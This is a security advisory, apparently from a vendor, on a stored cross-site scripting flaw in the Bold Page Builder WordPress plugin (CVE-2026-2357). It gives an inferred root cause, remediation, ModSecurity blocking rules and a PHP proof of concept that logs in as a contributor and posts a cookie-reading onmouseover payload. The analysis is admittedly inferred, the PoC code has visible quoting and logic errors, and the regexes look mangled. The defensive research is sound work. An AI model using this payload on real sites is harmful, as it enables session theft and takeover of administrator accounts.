Atomic Edge analysis of CVE-2026-2357 (metadata-based): CVE-2026-2357 is an authenticated (Contributor+) stored cross-site scripting vulnerability in the Bold Page Builder WordPress plugin, affecting versions up to and including 5.6.8. The flaw resides in the plugin’s ‘bt_bb_shortcode’ shortcode, where user-supplied attributes are not properly sanitized on input nor escaped on output. An attacker with contributor-level access can inject arbitrary JavaScript into pages, which executes when a victim (including administrators) views the page. The CVSS score is 6.4 (Medium), with a scope change indicating the vulnerability can affect resources beyond the plugin’s security context.
Root Cause: The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). Based on the description, the shortcode ‘bt_bb_shortcode’ processes user-supplied attributes without adequate sanitization or escaping. This conclusion is inferred from the CWE and the vulnerability description; no source code is available for confirmation. The shortcode likely accepts attributes such as ‘class’, ‘style’, or ‘data-*’ and outputs them directly into HTML attributes or JavaScript contexts without using WordPress functions like esc_attr() or esc_js().
Exploitation: To exploit this vulnerability, an attacker with contributor-level access creates or edits a page containing the ‘bt_bb_shortcode’ shortcode with a malicious attribute. For example, the attacker could inject an event handler like onmouseover or an SVG with onload. A sample payload is: [bt_bb_shortcode class='” onmouseover=”alert(document.cookie)’ ]. When the page is saved and later viewed by any user, the JavaScript executes in their browser. The attacker can target administrators to perform privileged actions such as creating a new admin account or installing a malicious plugin. The attack vector is network-based, requires low privileges, and no user interaction.
Remediation: The fix for this vulnerability likely involves sanitizing shortcode attributes on input and escaping them on output. The plugin should use functions like sanitize_text_field() or esc_attr() to filter attribute values when the shortcode is processed. Additionally, the shortcode output should be escaped based on context (e.g., esc_attr() for HTML attributes, esc_js() for JavaScript). The patched version 5.6.9 presumably implements these measures.
Impact: Successful exploitation allows an attacker to execute arbitrary scripts in the context of a victim’s browser. This can lead to session hijacking, theft of sensitive information, or privilege escalation if an administrator is targeted. The scope change (S:C) in the CVSS vector indicates that the vulnerability can impact resources beyond the plugin itself, such as the entire WordPress site or other users. The confidentiality and integrity impacts are low (C:L/I:L), as the attacker can access and modify data within the victim’s session.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2357 (metadata-based)
# Blocks stored XSS via Bold Page Builder 'bt_bb_shortcode' shortcode.
# The attack occurs when a contributor submits a post with malicious shortcode attributes.
# We target the post submission endpoint and inspect the content for suspicious shortcode patterns.
SecRule REQUEST_URI "@streq /wp-admin/post.php"
"id:20262357,phase:2,deny,status:403,chain,msg:'CVE-2026-2357 via Bold Page Builder shortcode XSS',severity:'CRITICAL',tag:'CVE-2026-2357'"
SecRule ARGS_POST:action "@streq editpost" "chain"
SecRule ARGS_POST:content "@rx [bt_bb_shortcode[^]]*b(onw+|styles*=s*[^ ]*expressions*()" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
# Also block the same payload via admin-ajax.php if the plugin uses AJAX for saving.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262358,phase:2,deny,status:403,chain,msg:'CVE-2026-2357 via Bold Page Builder AJAX XSS',severity:'CRITICAL',tag:'CVE-2026-2357'"
SecRule ARGS_POST:action "@rx ^(bt_bb|bold_page_builder)_" "chain"
SecRule ARGS_POST:content "@rx [bt_bb_shortcode[^]]*b(onw+|styles*=s*[^ ]*expressions*()" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2357 - Bold Page Builder <= 5.6.8 - Authenticated (Contributor+) Stored Cross-Site Scripting
// This PoC demonstrates how an authenticated contributor can inject a stored XSS payload
// via the 'bt_bb_shortcode' shortcode. The payload executes when a victim views the page.
// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor_user'; // Contributor-level username
$password = 'password'; // Contributor password
// Initialize cURL
$ch = curl_init();
// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
echo "Logged in successfully.n";
// Step 2: Create a new page with the malicious shortcode
// The shortcode 'bt_bb_shortcode' is vulnerable. We inject an onmouseover event handler.
$payload = "[bt_bb_shortcode class='" onmouseover="alert(document.cookie)' ]"; // Escape double quotes for PHP string
$page_data = array(
'post_title' => 'XSS PoC',
'content' => $payload,
'post_status' => 'publish', // Contributor can publish? Actually Contributors can only save as draft. Adjust if needed.
'post_type' => 'page',
'post_author' => get_current_user_id(), // Not needed in real scenario
'publish' => 'Publish'
);
// Alternatively, use the WordPress REST API or admin-ajax if available.
// For simplicity, we'll use the classic editor form submission.
$post_url = $target_url . '/wp-admin/post.php';
$post_data = array(
'action' => 'editpost',
'post_type' => 'page',
'post_ID' => 'new',
'post_title' => 'XSS PoC',
'content' => $payload,
'publish' => 'Publish'
);
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
// Step 3: Check if the page was created and extract the page ID
if (preg_match('/post=(d+)/', $response, $matches)) {
$page_id = $matches[1];
echo "Page created with ID: $page_idn";
} else {
// If contributor cannot publish, the page might be saved as draft and require admin action.
// For PoC, assume the page is published.
echo "Page creation may have failed or is pending review.n";
}
// Step 4: The XSS payload is now stored. When any user (including admin) visits the page, the script executes.
// The victim URL would be: $target_url/?page_id=$page_id
// Clean up
curl_close($ch);
unlink('cookies.txt');
echo "PoC completed. Check the page for XSS execution.n";
// Note: This PoC assumes the contributor can publish pages directly. In default WordPress,
// contributors can only save drafts, so an admin must approve the page. Adjust the post_status
// and capabilities accordingly. The vulnerability allows stored XSS, so once the page is published,
// the script executes.
// Also, the shortcode 'bt_bb_shortcode' may require specific attributes. The payload assumes
// that the 'class' attribute is vulnerable and not sanitized. If the plugin uses a different
// attribute, adjust the payload accordingly.
?>